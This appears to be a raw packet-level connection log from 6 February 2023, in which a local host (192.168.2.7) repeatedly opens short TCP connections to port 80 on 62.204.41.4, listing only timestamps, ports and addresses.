Feb 6, 2023 18:37:36.122000933 CET	50084	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.182857990 CET	80	50083	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.182899952 CET	80	50084	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.183013916 CET	50083	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.183109045 CET	50084	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.184166908 CET	50084	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.245105982 CET	80	50084	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.250062943 CET	80	50084	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.250200987 CET	50084	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.361450911 CET	50084	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.363001108 CET	50085	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.422687054 CET	80	50084	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.422866106 CET	50084	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.423676014 CET	80	50085	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.423837900 CET	50085	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.424990892 CET	50085	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.487132072 CET	80	50085	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.505920887 CET	80	50085	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.518474102 CET	50085	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.626951933 CET	50085	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.627763033 CET	50086	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.700342894 CET	80	50085	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.700376034 CET	80	50086	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.700869083 CET	50085	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.701277018 CET	50086	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.704777002 CET	50086	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.765599012 CET	80	50086	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.768732071 CET	80	50086	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.768939018 CET	50086	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.872703075 CET	50086	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.874378920 CET	50087	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.934978008 CET	80	50086	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.935182095 CET	50086	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.936898947 CET	80	50087	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:36.937115908 CET	50087	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.937901020 CET	50087	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:36.998565912 CET	80	50087	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.001657009 CET	80	50087	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.003259897 CET	50087	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.105986118 CET	50087	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.107618093 CET	50088	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.166873932 CET	80	50087	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.167185068 CET	50087	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.169327974 CET	80	50088	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.170741081 CET	50088	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.171595097 CET	50088	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.233428955 CET	80	50088	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.239892006 CET	80	50088	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.240106106 CET	50088	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.358699083 CET	50088	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.360677958 CET	50089	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.420510054 CET	80	50088	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.422446966 CET	80	50089	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.422687054 CET	50089	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.422771931 CET	50088	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.423383951 CET	50089	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.484903097 CET	80	50089	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.487719059 CET	80	50089	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.487880945 CET	50089	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.590787888 CET	50089	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.591869116 CET	50090	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.652407885 CET	80	50090	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.652436972 CET	80	50089	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.652595043 CET	50090	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.652595043 CET	50089	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.652978897 CET	50090	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.714266062 CET	80	50090	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.717353106 CET	80	50090	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.717582941 CET	50090	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.825176001 CET	50090	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.826297998 CET	50091	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.885894060 CET	80	50090	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.886126995 CET	50090	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.887700081 CET	80	50091	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.887923956 CET	50091	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.888526917 CET	50091	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:37.949934959 CET	80	50091	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.953670025 CET	80	50091	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:37.953794956 CET	50091	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.060364962 CET	50091	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.062772989 CET	50092	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.122081995 CET	80	50091	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.122199059 CET	50091	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.122390032 CET	80	50092	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.122487068 CET	50092	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.122805119 CET	50092	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.182410955 CET	80	50092	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.188714027 CET	80	50092	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.188915968 CET	50092	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.293545008 CET	50092	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.294231892 CET	50093	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.353303909 CET	80	50092	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.353410006 CET	50092	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.355525970 CET	80	50093	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.355684042 CET	50093	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.357594013 CET	50093	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.419038057 CET	80	50093	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.421977997 CET	80	50093	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.422075987 CET	50093	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.528032064 CET	50093	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.528630972 CET	50094	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.589523077 CET	80	50093	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.589795113 CET	50093	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.590046883 CET	80	50094	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.590168953 CET	50094	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.590483904 CET	50094	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.653244019 CET	80	50094	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.656254053 CET	80	50094	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.656352997 CET	50094	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.762245893 CET	50094	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.762957096 CET	50095	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.824027061 CET	80	50094	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.824157953 CET	50094	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.824472904 CET	80	50095	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.824582100 CET	50095	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.824933052 CET	50095	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.886343002 CET	80	50095	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.888752937 CET	80	50095	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:38.888886929 CET	50095	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.999385118 CET	50095	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:38.999937057 CET	50096	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.061429024 CET	80	50095	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.061500072 CET	80	50096	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.061513901 CET	50095	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.061650038 CET	50096	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.062078953 CET	50096	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.123606920 CET	80	50096	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.127321959 CET	80	50096	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.127484083 CET	50096	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.231786966 CET	50096	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.232551098 CET	50097	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.293315887 CET	80	50096	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.293538094 CET	50096	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.294101000 CET	80	50097	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.294243097 CET	50097	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.294548035 CET	50097	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.356168985 CET	80	50097	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.360487938 CET	80	50097	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.360749960 CET	50097	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.467505932 CET	50097	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.468095064 CET	50098	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.528561115 CET	80	50098	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.529057980 CET	80	50097	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.529232979 CET	50097	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.529541016 CET	50098	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.529541016 CET	50098	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.590037107 CET	80	50098	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.593358040 CET	80	50098	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.594901085 CET	50098	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.699933052 CET	50098	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.701356888 CET	50099	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.760674953 CET	80	50098	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.760809898 CET	50098	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.761826992 CET	80	50099	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.761950970 CET	50099	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.765161037 CET	50099	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.825848103 CET	80	50099	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.828778028 CET	80	50099	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.828986883 CET	50099	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.937131882 CET	50099	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.937695026 CET	50100	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.998128891 CET	80	50099	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.998256922 CET	80	50100	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:39.998389006 CET	50099	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.998433113 CET	50100	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:39.998888969 CET	50100	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.059683084 CET	80	50100	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.063755035 CET	80	50100	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.063931942 CET	50100	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.169684887 CET	50100	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.172051907 CET	50101	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.230762959 CET	80	50100	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.234469891 CET	80	50101	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.234520912 CET	50100	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.234613895 CET	50101	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.235234022 CET	50101	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.297524929 CET	80	50101	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.300606012 CET	80	50101	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.301081896 CET	50101	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.403830051 CET	50101	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.405395031 CET	50102	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.466533899 CET	80	50101	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.466731071 CET	50101	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.468039989 CET	80	50102	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.470983028 CET	50102	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.471333027 CET	50102	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.533871889 CET	80	50102	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.537971020 CET	80	50102	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.538163900 CET	50102	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.653197050 CET	50102	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.654752970 CET	50103	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.715879917 CET	80	50102	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.715977907 CET	50102	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.717434883 CET	80	50103	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.717572927 CET	50103	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.718413115 CET	50103	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.780908108 CET	80	50103	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.784142017 CET	80	50103	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.784254074 CET	50103	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.888183117 CET	50103	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.889779091 CET	50104	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.951015949 CET	80	50103	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.951200962 CET	50103	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.952120066 CET	80	50104	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:40.952344894 CET	50104	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:40.952666998 CET	50104	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.015007973 CET	80	50104	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.018651009 CET	80	50104	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.018785000 CET	50104	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.122267008 CET	50104	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.122870922 CET	50105	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.184273958 CET	80	50105	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.184456110 CET	50105	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.184521914 CET	80	50104	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.184664965 CET	50104	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.185986996 CET	50105	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.247586012 CET	80	50105	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.251419067 CET	80	50105	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.251521111 CET	50105	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.355947971 CET	50105	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.356606007 CET	50106	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.417515993 CET	80	50105	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.417583942 CET	80	50106	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.417612076 CET	50105	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.417694092 CET	50106	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.418241978 CET	50106	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.479094982 CET	80	50106	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.483894110 CET	80	50106	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.484014988 CET	50106	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.591212034 CET	50106	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.593564034 CET	50107	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.652277946 CET	80	50106	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.652403116 CET	50106	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.652879000 CET	80	50107	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.652988911 CET	50107	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.653832912 CET	50107	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.713175058 CET	80	50107	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.716232061 CET	80	50107	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.716334105 CET	50107	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.825469017 CET	50107	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.826139927 CET	50108	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.885987997 CET	80	50107	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.886102915 CET	50107	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.887684107 CET	80	50108	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.887794971 CET	50108	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.895553112 CET	50108	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:41.957278013 CET	80	50108	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.961169004 CET	80	50108	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:41.961234093 CET	50108	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.075040102 CET	50108	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.075714111 CET	50109	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.135257959 CET	80	50109	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.135394096 CET	50109	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.135759115 CET	50109	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.136795044 CET	80	50108	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.136917114 CET	50108	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.195348024 CET	80	50109	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.199654102 CET	80	50109	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.199769974 CET	50109	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.309289932 CET	50109	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.311089039 CET	50110	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.368664980 CET	80	50109	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.368839025 CET	50109	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.371397018 CET	80	50110	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.371524096 CET	50110	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.371968031 CET	50110	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.432255983 CET	80	50110	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.434534073 CET	80	50110	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.434679985 CET	50110	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.559925079 CET	50110	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.560766935 CET	50111	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.620477915 CET	80	50110	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.620656013 CET	50110	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.621047020 CET	80	50111	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.621285915 CET	50111	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.623220921 CET	50111	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.683760881 CET	80	50111	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.686508894 CET	80	50111	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.686681032 CET	50111	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.809561968 CET	50111	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.820211887 CET	50112	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.870348930 CET	80	50111	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.871138096 CET	50111	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.883073092 CET	80	50112	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.887289047 CET	50112	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.889738083 CET	50112	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:42.952409983 CET	80	50112	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.955672026 CET	80	50112	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:42.958153009 CET	50112	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.060008049 CET	50112	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.061167002 CET	50113	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.121978998 CET	80	50113	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.122157097 CET	50113	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.122477055 CET	50113	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.122977972 CET	80	50112	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.123094082 CET	50112	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.183099031 CET	80	50113	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.189285994 CET	80	50113	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.189502001 CET	50113	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.294842958 CET	50113	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.296478033 CET	50114	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.355696917 CET	80	50113	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.356174946 CET	50113	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.360275984 CET	80	50114	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.360414982 CET	50114	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.360833883 CET	50114	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.422908068 CET	80	50114	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.425688982 CET	80	50114	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.429471970 CET	50114	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.551260948 CET	50114	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.552194118 CET	50115	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.612608910 CET	80	50114	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.612817049 CET	50114	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.613720894 CET	80	50115	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.613893032 CET	50115	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.614291906 CET	50115	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.675923109 CET	80	50115	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.680242062 CET	80	50115	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.680458069 CET	50115	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.793823957 CET	50115	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.794612885 CET	50116	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.855489016 CET	80	50115	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.855617046 CET	50115	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.857223988 CET	80	50116	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.857471943 CET	50116	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.857815981 CET	50116	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:43.920356035 CET	80	50116	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.923408031 CET	80	50116	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:43.923537016 CET	50116	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:44.028800964 CET	50116	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:44.029791117 CET	50117	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:44.090538979 CET	80	50117	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:44.090749979 CET	50117	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:44.091425896 CET	80	50116	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:44.091500998 CET	50116	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:44.099591970 CET	50117	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:44.160423040 CET	80	50117	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:44.165404081 CET	80	50117	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:44.165676117 CET	50117	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:44.278630972 CET	50117	80	192.168.2.7	62.204.41.4
